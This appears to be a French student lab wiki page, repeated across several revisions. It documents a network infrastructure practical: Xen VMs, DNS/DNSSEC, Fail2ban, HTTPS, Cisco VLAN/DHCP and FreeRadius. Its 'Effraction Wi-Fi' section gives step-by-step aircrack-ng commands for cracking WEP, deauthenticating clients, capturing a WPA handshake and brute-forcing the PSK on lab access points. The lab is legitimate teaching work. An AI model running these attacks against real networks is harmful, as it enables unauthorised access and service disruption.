ip dhcp pool PoolYassine-A
network 10.60.8.0 255.255.255.0
default-router 10.60.8.1
dns-server 192.168.7.2
address range 10.60.8.100 10.60.8.150
</syntaxhighlight>

---

=== Routeur E306 ===

<syntaxhighlight lang="bash">
ip dhcp pool PoolYassine-B
network 10.60.8.0 255.255.255.0
default-router 10.60.8.1
dns-server 192.168.7.2
address range 10.60.8.151 10.60.8.200
</syntaxhighlight>

---

== Routage vers la machine mandataire (PBR) ==

Le trafic IPv4 du VLAN personnel est redirigé vers la machine mandataire.

<syntaxhighlight lang="bash">
access-list 101 permit ip 10.60.8.0 0.0.0.255 any

route-map PBR-YASSINE permit 10
match ip address 101
set ip next-hop 192.168.7.1
</syntaxhighlight>

Application :

<syntaxhighlight lang="bash">
interface vlan 18
ip policy route-map PBR-YASSINE
</syntaxhighlight>

---

== Configuration du serveur FreeRadius ==

Sur la machine virtuelle de services (192.168.7.2) :

Installation :

<syntaxhighlight lang="bash">
apt install freeradius freeradius-utils
</syntaxhighlight>

Ajout du point d’accès WiFi :

Atelier SysRes SE4 2025/2026 E8

2026-02-27T13:23:31Z

Yyahiani : /* DNSSEC */

=Création du pont et des VM=

== Création du pont: ==
Dans capbreton, dans <code>/etc/network/interfaces</code> on renseigne notre pont <code>pontclio</code>
<syntaxhighlight>
auto pontclio
iface pontclio inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>

==Partitions==
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :

<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio
</syntaxhighlight>

Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:

<syntaxhighlight lang="shell">
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,
phy:/dev/virtual/SE4.RS7-var,xvda3,w,
</syntaxhighlight>

Pour démarrer notre VM nous exécutons la commande suivante:

<syntaxhighlight lang="shell">
xen create SE4.RS7.cfg
</syntaxhighlight>

Ensuite nous pouvons vérifier si la VM est démarrée avec:

<syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

Par la suite nous nous connectons à la VM de cette manière:

<syntaxhighlight lang="shell">
xen console SE4.RS7
</syntaxhighlight>

Ensuite créer les partitions <code>var</code> et <code>home</code>:
<syntaxhighlight>
lvcreate -L10G -nSE4.RS7.home virtual
lvcreate -L10G -nSE4.RS7.var virtual
</syntaxhighlight>

Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:

<syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Et nous formatons ces disk avec ces deux commandes:

<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:

<syntaxhighlight lang="shell">
mount /dev/xvdb1 /mnt
</syntaxhighlight>

On copie les données et on démonte le fichier copié:

<syntaxhighlight lang="shell">
mv /var/* /mnt
unmount /mnt
</syntaxhighlight>

Nous pouvons maintenant observer les changement:

<syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

=IP=
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:

==VM de service==

Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.

Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:

L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :

<syntaxhighlight lang="shell">
iface eth0 inet6 auto
</syntaxhighlight>

Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.

De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.

Nous complétons donc le fichier avec une adresse statique :

<syntaxhighlight lang="shell">
iface eth0 inet static
address 192.168.7.2
netmask 255.255.255.0
gateway 192.168.7.1
</syntaxhighlight>

==VM mandataire==

Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.

Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.

Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :

<syntaxhighlight lang="shell">
# The loopback network interface
auto lo
iface lo inet loopback

# Primary interface
auto eth0
iface eth0 inet static
address 192.168.7.1/24

# Second interface
auto eth1
iface eth1 inet static
address 193.48.57.170/27
gateway 193.48.57.164

iface eth1 inet6 auto
</syntaxhighlight>

== Tests ==

Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.

Voici l'état des interfaces de la machine de service RS7 :

<syntaxhighlight lang="shell">
root@rs7:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fed3:d692/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff
inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr
valid_lft 942sec preferred_lft 842sec
inet6 fe80::216:3eff:fed3:d693/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

Et voici l'état des interface de la machines mandataire Garage :

<syntaxhighlight lang="shell">
root@Garage:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fee4:9c07/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff
inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1
valid_lft forever preferred_lft forever
inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr
valid_lft 893sec preferred_lft 793sec
inet6 fe80::216:3eff:fee4:9c08/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

=== Test de la LAN ===

Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:

[[Fichier:Ping C2.png|vignette|center|800px]]

Et voici un ping de RS7 vers Garages

[[Fichier:Ping Garage.png|vignette|center|800px]]

=== Test vers l'extérieur ===

Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.

Voici un ping de RS7 vers l'extérieur en IPv4:

[[Fichier:Ping ipv4.png|vignette|center|800px]]

Et voici un ping de RS7 vers l'extérieur en IPv6:
[[Fichier:Ipv6.png|centré|vignette|800x800px]]

=SSH=

Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.

=DNS=
==Configuration du résolveur==
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:

<syntaxhighlight lang="shell">
search plil.info
nameserver 172.26.188.12
nameserver 193.48.57.48

search rs7.online
nameserver 192.168.7.2
nameserver 192.168.7.3
</syntaxhighlight>

==Configuration des zones==
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.

<syntaxhighlight lang="shell">
zone "rs7.zone" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Création et configuration du fichier .zone==
Nous avons ensuite créé et configuré le fichier rs7.zone.

<syntaxhighlight lang="shell">
$TTL 200
@ IN SOA ns.rs7.online. admin.rs7.online. (
4004 ; Version
21600 ; Refresh secondary (6h)
3600 ; Retry secondary (1h)
2592000 ; Expire if no refresh (30j)
86400 ) ; Negative cache (24h)

; Serveurs de noms
@ IN NS ns.rs7.online.
@ IN NS ns.c2vts.fr.

;Enregistrements A
@ IN A 193.48.57.170
ns IN A 193.48.57.170

;Enregistrements AAAA
@ IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693
ns IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693

;Enregistrements CNAME
www IN CNAME rs7.online.

$include "/etc/bind/rs7.dnssec/rs7.online-ksk.key"
$include "/etc/bind/rs7.dnssec/rs7.online-zsk.key"
</syntaxhighlight>

On charge la version du fichier de zone avec la commande suivante :

<syntaxhighlight lang="shell">
root@rs7:/etc/bind/zones/rs7.online# named-checkzone rs7.zone
zone rs7.zone/IN: loaded serial 4004
OK
</syntaxhighlight>

==Vérifications==
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :

named-checkzone <nom du fichier>

Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.

Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.

[[Fichier:DNS.png|vignette|center|900px]]

=DNSSEC=

==Configuration de la méthode automatique==
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:

<syntaxhighlight lang="shell">
zone "rs7" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Génération des clés==
ensuite nous créeons le répertoire qui va acceuillir nos clés:

<syntaxhighlight lang="shell">
mkdir -p /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 700 /etc/bind/keys
</syntaxhighlight>

et nous redémarrons le service :

<syntaxhighlight lang="shell">
service named restart
</syntaxhighlight>

voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:

<syntaxhighlight lang="shell">
root@rs7:/etc/bind/rs7.dnssec# ls
Krs7.+013+14689.key Krs7.+013+57317.private rs7.online-ksk.private
Krs7.+013+14689.private Krs7.+013+57317.state rs7.online-zsk.key
Krs7.+013+14689.state dsset-rs7. rs7.online-zsk.private
Krs7.+013+57317.key rs7.online-ksk.key
</syntaxhighlight>

Nous pouvons maintenant verifier sur le site "DNSViz" le DNS de rs7.online :

[[Fichier:Dnssecrs7|1000px|vignette|centré]]

= Fail2ban =

Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier <code>jail.local</code> afin d’y définir les paramètres de protection suivants :

<syntaxhighlight lang="shell">
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = %(sshd_log)s
backend = %(sshd_backend)s
maxretry = 3
findtime = 600
bantime = 600
</syntaxhighlight>

Dans cette configuration :
* <code>maxretry</code> indique le nombre maximal de tentatives autorisées avant le bannissement ;
* <code>findtime</code> correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;
* <code>bantime</code> définit la durée du bannissement de l’adresse IP fautive.

La commande <code>fail2ban-client status sshd</code> permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.

<syntaxhighlight lang="shell">
root@rs7:/etc/bind# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
| |- Currently failed: 0
| |- Total failed: 1
| `- File list: /var/log/auth.log
`- Actions
|- Currently banned: 0
|- Total banned: 1
`- Banned IP list:
</syntaxhighlight>

Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier <code>jail.local</code> :

<syntaxhighlight lang="shell">
[connect-refused]
enabled = true
port = domain
protocol = tcp
filter = connect-refused
logpath = /var/log/syslog
maxretry = 3
bantime = 600
findtime = 600
</syntaxhighlight>

Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire <code>filter.d</code>, nommé <code>connect-refused.conf</code>, afin de définir les motifs de requêtes TCP à bloquer :

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf
[Definition]
failregex = .* client_ip=<HOST>.*(NXDOMAIN|SERVFAIL|REFUSED).*
ignoreregex =
</syntaxhighlight>

Enfin, la commande <code>fail2ban-client status connect-refused</code> permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused
Status for the jail: connect-refused
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/syslog
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
</syntaxhighlight>

=HTTPS=
==Installation d'Apache2==
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :
<syntaxhighlight lang="shell">
aptitude install apache2
</syntaxhighlight>

Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :
<syntaxhighlight lang="shell">
a2enmod ssl
</syntaxhighlight>

==Activation du port HTTPS==
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/ports.conf
# Port HTTP classique
Listen 80

# Port HTTPS
<IfModule ssl_module>
Listen 443
</IfModule>

<IfModule mod_gnutls.c>
Listen 443
</IfModule>
</syntaxhighlight>

==Configuration du certificat SSL==
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :
<syntaxhighlight lang="shell">
/etc/ssl/certs/rs7.online.crt : Certificat SSL
/etc/ssl/private/rs7.online.key : Clé privée
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire
</syntaxhighlight>

==Configuration du domaine sécurisé==
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf
<VirtualHost *:80>
ServerName rs7.online.
ServerAlias www.rs7.online.
Redirect permanent / https://rs7.online/
</VirtualHost>

<VirtualHost *:443>

ServerName rs7.online.
DocumentRoot /var/www/rs7.online/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/rs7.online.crt
SSLCertificateKeyFile /etc/ssl/private/rs7.online.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
SSLVerifyClient None
ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
SSLProxyEngine on
<Directory /var/www/rs7.online>
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log
CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined

</VirtualHost>
</syntaxhighlight>

==Vérification du certificat SSL==
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :
<syntaxhighlight lang="shell">
c_rehash /etc/ssl/certs
</syntaxhighlight>

Notre page web est maintenant accessible via http://rs7.online .

= Effraction Wi-Fi =

== Cassage de clef WEP d’un point d’accès WiFi ==

L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).

* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''
* Canal utilisé : '''11'''

=== Passage de l’interface en mode monitor ===

Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :

<syntaxhighlight lang="bash">
airmon-ng start wlan0
</syntaxhighlight>

Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.

=== Identification du réseau cible ===

Scan des réseaux protégés en WEP :

<syntaxhighlight lang="bash">
airodump-ng --encrypt WEP wlan0mon
</syntaxhighlight>

Le réseau cible identifié présente les caractéristiques suivantes :

=== Capture du trafic ===

Capture ciblée du point d’accès :

<syntaxhighlight lang="bash">
airodump-ng --channel 11 \
--bssid 00:14:BF:63:1E:42 \
--write capture_wep \
wlan0mon
</syntaxhighlight>

Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.

=== Authentification d’une adresse MAC d’injection ===

Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :

<syntaxhighlight lang="bash">
aireplay-ng --fakeauth 0 \
-a 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

* -a : BSSID réel du point d’accès
* -h : adresse MAC utilisée pour l’injection
* --fakeauth 0 : authentification Open System

Résultat : authentification et association réussies.

=== Génération de trafic ARP (rejeu) ===

Afin d’accélérer l’accumulation d’IV :

<syntaxhighlight lang="bash">
aireplay-ng --arpreplay \
-b 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.

=== Désauthentification d’un client ===

Pour provoquer l’émission de nouvelles requêtes ARP :

<syntaxhighlight lang="bash">
aireplay-ng --deauth 5 \
-a 00:14:BF:63:1E:42 \
wlan0mon
</syntaxhighlight>

Cette action force les stations à se reconnecter, générant du trafic exploitable.

=== Cassage de la clé ===

Lorsque le nombre d’IV atteint environ 45 000 :

<syntaxhighlight lang="bash">
aircrack-ng capture_wep-01.cap
</syntaxhighlight>

Résultat obtenu :

[[Fichier:Cracotte08.png|800px|vignette|centré]]

- Nombre d’IV exploités : ~44 687
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE
- Taux de déchiffrement : 100 %

Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable.

La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.

== Cassage de mot de passe WPA-PSK par force brute ==

=== Identification du réseau cible ===

L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil <code>airodump-ng</code> en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.

<syntaxhighlight lang="bash">
sudo airodump-ng wlan1mon
</syntaxhighlight>

<code>wlan1mon</code> correspond à l’interface Wi-Fi placée en mode moniteur.

Le réseau cible identifié possède les caractéristiques suivantes :

{| class="wikitable"
! Paramètre !! Valeur
|-
| ESSID || kracotte08
|-
| BSSID || 44:AD:D9:5F:87:07
|-
| Canal || 13
|-
| Chiffrement || WPA2
|-
| Authentification || PSK
|-
| Puissance signal || -38 dBm
|}

Une station cliente connectée a également été détectée :

* Adresse MAC : 40:A5:EF:01:25:8B

=== Capture du handshake WPA ===

Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.

<syntaxhighlight lang="bash">
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon
</syntaxhighlight>

* <code>-c 13</code> : écoute sur le canal du point d’accès.
* <code>--bssid</code> : filtrage du réseau cible uniquement.
* <code>-w</code> : sauvegarde des paquets capturés.
* <code>wlan1mon</code> : interface en mode moniteur.

Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.

===Forçage de la reconnexion des clients ===

Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.

<syntaxhighlight lang="bash">
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon
</syntaxhighlight>

* <code>-0 10</code> : envoi de 10 trames de désauthentification.
* <code>-a</code> : BSSID du point d’accès cible.

Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans <code>airodump-ng</code>.

Sortie observée :

<pre>
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]
</pre>

=== Absence de capture du handshake ===

Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :

<pre>
WPA handshake: 44:AD:D9:5F:87:07
</pre>

n’est apparu dans la fenêtre de capture.

Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.

Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:

<syntaxhighlight lang="bash">
seq -w 00000000 99999999 > dictionnaire.txt
</syntaxhighlight>

pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.

=== Tentative de cassage du mot de passe ===

La commande suivante permet de lancer l’attaque par dictionnaire :

<syntaxhighlight lang="bash">
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap
</syntaxhighlight>

Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.

= Sécurisation WiFi par WPA2-EAP =

== Objectif ==

L’objectif de cette partie est de sécuriser l’accès au réseau WiFi en utilisant le mécanisme
d’authentification WPA2-Enterprise (WPA2-EAP).
Contrairement au WPA-PSK, l’authentification repose ici sur un serveur centralisé
FreeRadius permettant une authentification individuelle des utilisateurs.

L’infrastructure repose sur :
* un VLAN personnel dédié ;
* une redondance des routeurs via VRRP ;
* un serveur FreeRadius installé sur la machine virtuelle de services.

---

== Accès aux équipements réseau ==

La connexion aux routeurs et bornes WiFi Cisco est réalisée via SSH :

<syntaxhighlight lang="bash">
ssh -o KexAlgorithms=diffie-hellman-group-exchange-sha1,\
diffie-hellman-group14-sha1,\
diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=ssh-rsa \
-c aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc,\
aes128-ctr,aes192-ctr,aes256-ctr \
admin@172.27.0.2
</syntaxhighlight>

=== Adressage des équipements ===

{| class="wikitable"
! Equipement !! Adresse IP
|-
| Routeur C9200 E304 || 172.27.0.1
|-
| Routeur C9200 E306 || 172.27.0.2
|-
| Borne WiFi E306 || 172.27.0.3
|-
| Borne WiFi E304 || 172.27.0.4
|}

---

== Création du VLAN personnel ==

Le VLAN personnel attribué est le VLAN '''18'''.

=== Sur les deux routeurs ===

<syntaxhighlight lang="bash">
conf t
vlan 18
name VLAN_YASSINE
exit
</syntaxhighlight>

---

== Configuration des interfaces VLAN ==

=== Routeur principal (E304) ===

<syntaxhighlight lang="bash">
interface vlan 18
ip address 10.60.8.2 255.255.255.0
vrrp 18 address 10.60.8.1
vrrp 18 priority 110
vrrp 18 preempt
no shutdown
</syntaxhighlight>

---

=== Routeur secondaire (E306) ===

<syntaxhighlight lang="bash">
interface vlan 18
ip address 10.60.8.3 255.255.255.0
vrrp 18 address 10.60.8.1
vrrp 18 priority 100
vrrp 18 preempt
no shutdown
</syntaxhighlight>

L’adresse virtuelle '''10.60.8.1''' constitue la passerelle par défaut des clients WiFi.

---

== Configuration DHCP ==

Le serveur DHCP est réparti entre les deux routeurs.

=== Routeur E304 ===

<syntaxhighlight lang="bash">
ip dhcp pool PoolYassine-A
network 10.60.8.0 255.255.255.0
default-router 10.60.8.1
dns-server 192.168.7.2
address range 10.60.8.100 10.60.8.150
</syntaxhighlight>

---

=== Routeur E306 ===

<syntaxhighlight lang="bash">
ip dhcp pool PoolYassine-B
network 10.60.8.0 255.255.255.0
default-router 10.60.8.1
dns-server 192.168.7.2
address range 10.60.8.151 10.60.8.200
</syntaxhighlight>

---

== Routage vers la machine mandataire (PBR) ==

Le trafic IPv4 du VLAN personnel est redirigé vers la machine mandataire.

<syntaxhighlight lang="bash">
access-list 101 permit ip 10.60.8.0 0.0.0.255 any

route-map PBR-YASSINE permit 10
match ip address 101
set ip next-hop 192.168.7.1
</syntaxhighlight>

Application :

<syntaxhighlight lang="bash">
interface vlan 18
ip policy route-map PBR-YASSINE
</syntaxhighlight>

---

== Configuration du serveur FreeRadius ==

Sur la machine virtuelle de services (192.168.7.2) :

Installation :

<syntaxhighlight lang="bash">
apt install freeradius freeradius-utils
</syntaxhighlight>

Ajout du point d’accès WiFi :

Fichier:Dnssecrs7.png

2026-02-27T13:21:30Z

Yyahiani :

dnssec propagé sur DNSViz

Atelier SysRes SE4 2025/2026 E8

2026-02-27T13:12:36Z

Yyahiani : /* Création et configuration du fichier .zone */

=Création du pont et des VM=

== Création du pont: ==
Dans capbreton, dans <code>/etc/network/interfaces</code> on renseigne notre pont <code>pontclio</code>
<syntaxhighlight>
auto pontclio
iface pontclio inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>

==Partitions==
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :

<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio
</syntaxhighlight>

Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:

<syntaxhighlight lang="shell">
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,
phy:/dev/virtual/SE4.RS7-var,xvda3,w,
</syntaxhighlight>

Pour démarrer notre VM nous exécutons la commande suivante:

<syntaxhighlight lang="shell">
xen create SE4.RS7.cfg
</syntaxhighlight>

Ensuite nous pouvons vérifier si la VM est démarrée avec:

<syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

Par la suite nous nous connectons à la VM de cette manière:

<syntaxhighlight lang="shell">
xen console SE4.RS7
</syntaxhighlight>

Ensuite créer les partitions <code>var</code> et <code>home</code>:
<syntaxhighlight>
lvcreate -L10G -nSE4.RS7.home virtual
lvcreate -L10G -nSE4.RS7.var virtual
</syntaxhighlight>

Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:

<syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Et nous formatons ces disk avec ces deux commandes:

<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

